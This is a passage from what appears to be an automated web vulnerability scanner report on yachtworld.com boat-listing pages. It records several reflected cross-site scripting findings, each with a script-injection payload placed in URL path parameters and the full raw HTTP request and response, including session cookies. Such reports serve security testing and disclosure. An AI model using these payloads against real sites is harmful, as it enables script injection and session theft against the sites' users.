VIEWED_BOATS_STORE=2291213%5B%25%5D32%27+Regulator+32+Forward+Seating+*Low+Hours*%5B%25%5DUSD%26nbsp%3B114%2C995%5B%25%5DNorwalk%2C+CT%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F1%2F2%2F2291213_1_mini.jpg%3F1291236529000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-*Low-Hours*-2291213%2FNorwalk%2FCT%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c38c"><script>alert(1)</script>4b6b7511d71 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7910"><script>alert(1)</script>c53b547de37 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c482"><script>alert(1)</script>812faad9f1b was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
3.145. http://www.yachtworld.com/boats/2006/Regulator-32-Forward-Seating-2262662/Somers-Point/NJ/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66f98"><script>alert(1)</script>b2126836e29 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 701d1"><script>alert(1)</script>acf6dc5541f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2006/Regulator-32fs-With-Trailer-2267348/Quincy701d1"><script>alert(1)</script>acf6dc5541f/MA/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:51 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 14 Jan 2011 16:46:52 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2267348%5B%25%5D32%27+Regulator+32FS+with+Trailer%5B%25%5DUSD%26nbsp%3B139%2C900%5B%25%5DQuincy%2C+MA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F7%2F3%2F2267348_1_mini.jpg%3F1285440379000%5B%25%5D%2Fboats%2F2006%2FRegulator-32FS-with-Trailer-2267348%2FQuincy%2FMA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:51 GMT Set-Cookie: VIEWED_BOATS_STORE=2267348%5B%25%5D32%27+Regulator+32FS+with+Trailer%5B%25%5DUSD%26nbsp%3B139%2C900%5B%25%5DQuincy%2C+MA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F7%2F3%2F2267348_1_mini.jpg%3F1285440379000%5B%25%5D%2Fboats%2F2006%2FRegulator-32FS-with-Trailer-2267348%2FQuincy%2FMA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b901f"><script>alert(1)</script>154356f8cd2 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2006/Regulator-32fs-With-Trailer-2267348/Quincy/MAb901f"><script>alert(1)</script>154356f8cd2/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:19 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 14 Jan 2011 16:46:52 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2267348%5B%25%5D32%27+Regulator+32FS+with+Trailer%5B%25%5DUSD%26nbsp%3B139%2C900%5B%25%5DQuincy%2C+MA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F7%2F3%2F2267348_1_mini.jpg%3F1285440379000%5B%25%5D%2Fboats%2F2006%2FRegulator-32FS-with-Trailer-2267348%2FQuincy%2FMA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:19 GMT Set-Cookie: VIEWED_BOATS_STORE=2267348%5B%25%5D32%27+Regulator+32FS+with+Trailer%5B%25%5DUSD%26nbsp%3B139%2C900%5B%25%5DQuincy%2C+MA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F7%2F3%2F2267348_1_mini.jpg%3F1285440379000%5B%25%5D%2Fboats%2F2006%2FRegulator-32FS-with-Trailer-2267348%2FQuincy%2FMA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70e00"><script>alert(1)</script>0de7dd69d71 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2006/Regulator-32fs-With-Trailer-2267348/Quincy/MA/United-States70e00"><script>alert(1)</script>0de7dd69d71 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
